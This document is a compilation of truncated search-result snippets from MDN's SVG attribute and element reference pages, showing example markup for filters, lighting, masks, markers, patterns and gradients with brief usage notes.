url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment fi...
k1 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k2 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k3 - SVG: Scalable Vector Graphics
0%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
k4 - SVG: Scalable Vector Graphics
"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter:
url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects modul...
kernelMatrix - SVG: Scalable Vector Graphics
id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <list of numbers> default value none animatable yes <list of numbers> the list of <number>s that make up the kernel ma...
lighting-color - SVG: Scalable Vector Graphics
"sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value color default value white animatable yes specifications specification status comment filter effects module level 1the definition of 'lighting-color' in tha...
limitingConeAngle - SVG: Scalable Vector Graphics
ointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="40" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#spotlight1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#spotlight2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'limitingconeangle' in that specific...
marker-end - SVG: Scalable Vector Graphics
0 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-end="
url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the final vertex.
marker-mid - SVG: Scalable Vector Graphics
lygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="
url(#circle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the given vertices.
marker-start - SVG: Scalable Vector Graphics
120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-start="
url(#triangle)"/> </svg> usage notes value none | <marker-ref> default value none animatable yes none indicates that no marker symbol shall be drawn at the first vertex.
mask - SVG: Scalable Vector Graphics
undingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="
url(#mymask)"/> </svg> since svg2, the mask attribute is defined as a css property and is a shorthand for many other properties: mask-image, mask-mode, mask-repeat, mask-position, mask-clip, mask-origin, mask-size, and mask-composite.
maskContentUnits - SVG: Scalable Vector Graphics
te" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="
url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="
url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskcontentunits defines the coordinate system in use for the content of the element.
maskUnits - SVG: Scalable Vector Graphics
ite" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are masked with usespaceonuse units --> <use mask="
url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="
url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="
url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, maskunits defines the coordinate system in use for the geometry attributes (x, y, widt...
mode - SVG: Scalable Vector Graphics
ter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#blending1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#blending2); transform:translatex(220px);"/> </svg> usage notes value <blend-mode> default value normal animatable yes for a description of the values, see <blend-mode>.
opacity - SVG: Scalable Vector Graphics
nknown>, and <video> html, body, svg { height: 100%; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" x1="0%" y1="0%" x2="0" y2="100%"> <stop offset="0%" style="stop-color:skyblue;" /> <stop offset="100%" style="stop-color:seagreen;" /> </lineargradient> </defs> <rect x="0" y="0" width="100%" height="100%" fill="
url(#gradient)" /> <circle cx="50" cy="50" r="40" fill="black" /> <circle cx="150" cy="50" r="40" fill="black" opacity="0.3" /> </svg> usage notes default value 1 value <alpha-value> animatable yes <alpha-value> the uniform opacity setting to be applied across an entire object, as a <number>.
operator - SVG: Scalable Vector Graphics
femorphology> html, body, svg { height: 100%; font: 20px arial, helvetica, sans-serif; } <svg viewbox="0 0 120 70" xmlns="http://www.w3.org/2000/svg"> <filter id="erode"> <femorphology operator="erode" radius="0.4"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="0.8"/> </filter> <text x="0" y="15">normal text</text> <text x="0" y="40" filter="
url(#erode)">thin text</text> <text x="0" y="65" filter="
url(#dilate)">fat text</text> </svg> fecomposite for <fecomposite>, operator defines the compositing operation that is to be performed.
order - SVG: Scalable Vector Graphics
="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#emboss2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value 3 animatable yes <number-optional-number> this value indicates the number of cells in each dimension for the kernel matrix.
orient - SVG: Scalable Vector Graphics
erheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="
url(#arrow)" marker-end="
url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="
url(#dataarrow)" marker-mid="
url(#dataarrow)" marker-end="
url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto ...
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="
url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achiev...
patternContentUnits - SVG: Scalable Vector Graphics
note that the size of the tile is also computed against the bounding box of the target element --> <pattern id="p2" width="20%" height="20%" patterncontentunits="objectboundingbox"> <circle cx=".1" cy=".1" r=".1" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10" width="80" height="80" fill="
url(#p1)" /> <!-- right square with bounding box tiles --> <rect x="110" y="10" width="80" height="80" fill="
url(#p2)" /> </svg> pattern for <pattern>, patterncontentunits defines the coordinate system in use for the content of the element.
patternTransform - SVG: Scalable Vector Graphics
s="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="
url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
patternUnits - SVG: Scalable Vector Graphics
nuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10" width="80" height="80" fill="
url(#p1)" /> <!-- right square with bounding box tiles --> <rect x="110" y="10" width="80" height="80" fill="
url(#p2)" /> </svg> pattern for <pattern>, patternunits defines the coordinate system in use for the geometry properties (x, y, width and height) of the element.
pointsAtX - SVG: Scalable Vector Graphics
<fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatx' in that specification.
pointsAtY - SVG: Scalable Vector Graphics
<fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsaty' in that specification.
pointsAtZ - SVG: Scalable Vector Graphics
fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="80" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatz' in that specification.
preserveAlpha - SVG: Scalable Vector Graphics
" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes default value false value true | false animatable yes true this value indicates that the convolution will only apply to the co...
r - SVG: Scalable Vector Graphics
r="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <rect x="20" y="120" width="60" height="60" fill="
url(#mygradient000)" /> <rect x="120" y="120" width="60" height="60" fill="
url(#mygradient050)" /> <rect x="220" y="120" width="60" height="60" fill="
url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size.
result - SVG: Scalable Vector Graphics
0%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> usage notes value <filter-primitive-reference> default value none animatable yes <filter-primitive-reference> this value is a <custom-ident> and defines the name for the filter primitive.
scale - SVG: Scalable Vector Graphics
nce"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50"/> </filter> <circle cx="100" cy="100" r="80" style="filter:
url(#displacementfilter);""/> <circle cx="100" cy="100" r="80" style="filter:
url(#displacementfilter2); transform: translatex(240px);""/> </svg> usage notes value <number> default value none animatable yes <number> this value defines the scale factor for the displacement.
specularConstant - SVG: Scalable Vector Graphics
cegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#specularlighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#specularlighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularconstan...
specularExponent - SVG: Scalable Vector Graphics
"sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, specularexponent defines the exponent value for the specular term.
stdDeviation - SVG: Scalable Vector Graphics
iewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter:
url(#gaussianblur3); transform: translatex(280px);" /> </svg> usage notes value <number-optional-number> default value 0 animatable yes <number-optional-number> if two numb...
stroke - SVG: Scalable Vector Graphics
3.org/2000/svg"> <!-- simple color stroke --> <circle cx="5" cy="5" r="4" fill="none" stroke="green" /> <!-- stroke a circle with a gradient --> <defs> <lineargradient id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" stroke="
url(#mygradient)" /> </svg> usage notes value <paint> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification.
surfaceScale - SVG: Scalable Vector Graphics
ghting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> fespecularlighting for <fespecularlighting>, surfacescale defines the height of the surface.
tableValues - SVG: Scalable Vector Graphics
able" tablevalues="0 1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="1 0"/> <fefuncg type="table" tablevalues="1 0"/> <fefuncb type="table" tablevalues="1 0"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes <list-of-numbers> this ...
x1 - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status commen...
x2 - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="
url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="
url(#g1)" /> </svg> specifications specification status commen...
xChannelSelector - SVG: Scalable Vector Graphics
sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="
url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="
url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels o...
yChannelSelector - SVG: Scalable Vector Graphics
sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="b"/> </filter> <text x="10" y="60" font-size="50" filter="
url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="
url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels o...
z - SVG: Scalable Vector Graphics
0%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="50" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> fepointlight for <fepointlight>, z defines the location along the z-axis for the light source in the coordinate system established by the primitiveunits attribute on the <filter> element.
zoomAndPan - SVG: Scalable Vector Graphics
ew> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting);" /> </svg> usage notes value disable | magnify default value magnify animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'zoomandpan' in that specification.
<defs> - SVG: Scalable Vector Graphics
.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="
url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, fi...
<feBlend> - SVG: Scalable Vector Graphics
<defs> <filter id="spotlight"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="green" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> </defs> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:
url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feblend>' in that specification.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
200" height="200" viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:
url(#emboss);" /> </svg> result specifications specification status comment filter effects module level 1the definition of '<feconvolvematrix>' in that specification.
<feDisplacementMap> - SVG: Scalable Vector Graphics
t="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<fedisplacementmap>' in that specification.
<feDropShadow> - SVG: Scalable Vector Graphics
dx="0.2" dy="0.4" stddeviation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stddeviation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:
url(#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:
url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:
url(#shadow3);"/> </svg> attributes dx this attribute defines the x offset of the drop shadow.
<feFlood> - SVG: Scalable Vector Graphics
example html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter:
url(#floodfilter);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feflood>' in that specification.
<feImage> - SVG: Scalable Vector Graphics
example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:
url(#image);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feimage>' in that specification.
<feMerge> - SVG: Scalable Vector Graphics
rg/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter:
url(#feoffset);" /> </svg> result attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes none dom interface this element implements the svgfemergeelement interface.
<feMergeNode> - SVG: Scalable Vector Graphics
width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter:
